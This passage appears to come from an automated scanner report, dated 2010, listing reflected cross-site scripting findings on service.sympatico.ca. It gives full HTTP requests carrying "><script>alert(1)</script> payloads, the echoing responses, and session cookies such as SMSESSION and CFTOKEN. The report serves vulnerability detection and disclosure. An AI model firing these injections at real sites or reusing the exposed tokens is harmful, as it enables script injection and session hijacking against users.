This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images10650"><script>alert(1)</script>a9e6ab78af5/map_canadaOff.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:05 GMT
Connection: close
Set-Cookie: SMSESSION=HSTUiDBf0iwjxSH8lPioyhXqNrqS4AZGpGvxtsmLST+jr0cJahgXj2P7qV/ZH5M2AOm1uazSWm/wF3dJVh5WkSX1BuT5tJU7YcIj7hAMqSQ3VJa4WFR/zOxUBjouo2PxZBGckoFze1NpMUjo0q5iPkFQ19f4Qrgcbyfj7F3nFlpOtxr8SipkCQSSGiwfHLpEnVrEiwe++YeNwWPHxMQWzezk1/42+e/JqDU020SZgpfwN+ww+urXRNwWYJ3iIhwtzT6ooXctdR8qwxaxZyB9I14iSpZUixnT3xAP+RE5sNQnqSiingYigg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:06 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:06 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:06 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:06 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:06 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:06 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:06 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:06 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:06 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:06 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:06 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:06 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:06 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:06 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images10650"><script>alert(1)</script>a9e6ab78af5/map_canadaOff.gif" />
...[SNIP]...

2.176. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/map_canadaOff.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/map_canadaOff.gif

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2ef9"><script>alert(1)</script>8f784fa26ce was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/map_canadaOff.gifb2ef9"><script>alert(1)</script>8f784fa26ce HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:13 GMT
Connection: close
Set-Cookie: SMSESSION=ad6m9C9qbMz+fpRn1DqJUvm78Yfjyxo0oK+DdGUIB3vb/NjjPsTniFZyouQVemHuEdb8Rf4I8UvIl0jM6oVCuPnREY9aMb9EtTABmtTZoA4zaG2yqmT0zz2Df1op1fWd/qE9okc1Fn93F2xpd+Ecvv2YSV7ANEeFccGmq9gbRMaNhP4MEvbgPViWnTFtFjZI6l4f0RphKuUAHeRQcCc27osfuHFmCV5N0UgTX7ytbOdxbIGGHfM0tgsQLSq9r0hGZpxCRvSHFU+8bFj+XG9iDrqp5AjGZ1fu8AaGugE5dv6Bk4AfOWEFJQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:14 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:14 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:14 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:14 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:14 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
co.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/map_canadaOff.gifb2ef9"><script>alert(1)</script>8f784fa26ce" />
...[SNIP]...

2.177. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/map_canadaOff.gif [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/map_canadaOff.gif

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ebb80"><script>alert(1)</script>9fa3e8bd4d4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/map_canadaOff.gif?ebb80"><script>alert(1)</script>9fa3e8bd4d4=1 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:46 GMT
Connection: close
Set-Cookie: SMSESSION=lUvdj2jKMlkU8n3bdqIV9KaET5oUeSgyReNrVaHsh+8IXZr2ctFDxnEl+bze3TeoO0O6ZzupXvvWtgDj1n8GGvgCd9DMe9P3eFimZkNjdj3EqWepXx//9q6lU9rtbzgxd5R3xDS9BzjC3IkptIHgjTzLKICRx7je60i0zFxNwdkTyIGtX1R39xn1x07BPL//OPQOR3eVlfUckMR0OtuHH2Ummg2vYRy6p7SczHr7o39ZnvpzHH9Ve/eeAOSgfXU1Op7ydVH2G8a9UnBAnL//hmOq3dfPHDzETcEecmj2OW+FAaoaGpXtGA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:46 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:46 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:46 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:46 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:46 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:46 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:46 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:46 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:46 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:46 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:46 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:46 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:46 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:46 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
